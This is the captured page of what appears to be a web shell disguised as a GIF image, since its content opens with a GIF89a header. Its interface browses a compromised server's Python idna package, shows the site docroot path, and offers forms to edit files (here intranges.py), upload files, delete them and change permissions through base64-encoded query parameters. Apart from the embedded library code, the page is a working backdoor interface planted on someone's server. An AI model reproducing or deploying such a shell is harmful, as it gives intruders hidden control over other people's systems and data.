GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>intranges.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE%3D&f=aW50cmFuZ2VzLnB5"><input name="f" value="intranges.py"><textarea name="t">&quot;&quot;&quot;
Given a list of integers, made up of (hopefully) a small number of long runs
of consecutive integers, compute a representation of the form
((start1, end1), (start2, end2) ...). Then answer the question &quot;was x present
in the original list?&quot; in time O(log(# runs)).
&quot;&quot;&quot;

import bisect
from typing import List, Tuple

def intranges_from_list(list_: List[int]) -&gt; Tuple[int, ...]:
    &quot;&quot;&quot;Represent a list of integers as a sequence of ranges:
    ((start_0, end_0), (start_1, end_1), ...), such that the original
    integers are exactly those x such that start_i &lt;= x &lt; end_i for some i.

    Ranges are encoded as single integers (start &lt;&lt; 32 | end), not as tuples.
    &quot;&quot;&quot;

    sorted_list = sorted(list_)
    ranges = []
    last_write = -1
    for i in range(len(sorted_list)):
        if i+1 &lt; len(sorted_list):
            if sorted_list[i] == sorted_list[i+1]-1:
                continue
        current_range = sorted_list[last_write+1:i+1]
        ranges.append(_encode_range(current_range[0], current_range[-1] + 1))
        last_write = i

    return tuple(ranges)

def _encode_range(start: int, end: int) -&gt; int:
    return (start &lt;&lt; 32) | end

def _decode_range(r: int) -&gt; Tuple[int, int]:
    return (r &gt;&gt; 32), (r &amp; ((1 &lt;&lt; 32) - 1))


def intranges_contain(int_: int, ranges: Tuple[int, ...]) -&gt; bool:
    &quot;&quot;&quot;Determine if `int_` falls into one of the ranges in `ranges`.&quot;&quot;&quot;
    tuple_ = _encode_range(int_, 0)
    pos = bisect.bisect_left(ranges, tuple_)
    # we could be immediately ahead of a tuple (start, end)
    # with start &lt; int_ &lt;= end
    if pos &gt; 0:
        left, right = _decode_range(ranges[pos-1])
        if left &lt;= int_ &lt; right:
            return True
    # or we could be immediately behind a tuple (int_, end)
    if pos &lt; len(ranges):
        left, _ = _decode_range(ranges[pos])
        if left == int_:
            return True
    return False
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/idna<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2Vz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>849</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmEvX19weWNhY2hlX18="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=Y29kZWMucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Y29kZWMucHk="/>codec.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Y29kZWMucHk=&c=`+btoa(c):0" value="0644"></td><td>3426</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=Y29tcGF0LnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Y29tcGF0LnB5"/>compat.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Y29tcGF0LnB5&c=`+btoa(c):0" value="0644"></td><td>321</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=Y29yZS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Y29yZS5weQ=="/>core.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=Y29yZS5weQ==&c=`+btoa(c):0" value="0644"></td><td>12771</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=aWRuYWRhdGEucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=aWRuYWRhdGEucHk="/>idnadata.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=aWRuYWRhdGEucHk=&c=`+btoa(c):0" value="0644"></td><td>78320</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=aW50cmFuZ2VzLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=aW50cmFuZ2VzLnB5"/>intranges.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=aW50cmFuZ2VzLnB5&c=`+btoa(c):0" value="0644"></td><td>1881</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=cGFja2FnZV9kYXRhLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=cGFja2FnZV9kYXRhLnB5"/>package_data.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=cGFja2FnZV9kYXRhLnB5&c=`+btoa(c):0" value="0644"></td><td>21</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=cHkudHlwZWQ=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=cHkudHlwZWQ="/>py.typed</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=cHkudHlwZWQ=&c=`+btoa(c):0" value="0644"></td><td>0</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&x=dXRzNDZkYXRhLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=dXRzNDZkYXRhLnB5"/>uts46data.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL2lkbmE=&f=dXRzNDZkYXRhLnB5&c=`+btoa(c):0" value="0644"></td><td>206503</td></tr></table>